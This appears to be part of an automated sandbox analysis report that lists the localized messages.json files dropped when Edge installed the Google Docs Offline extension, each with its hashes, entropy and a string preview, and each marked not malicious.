Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
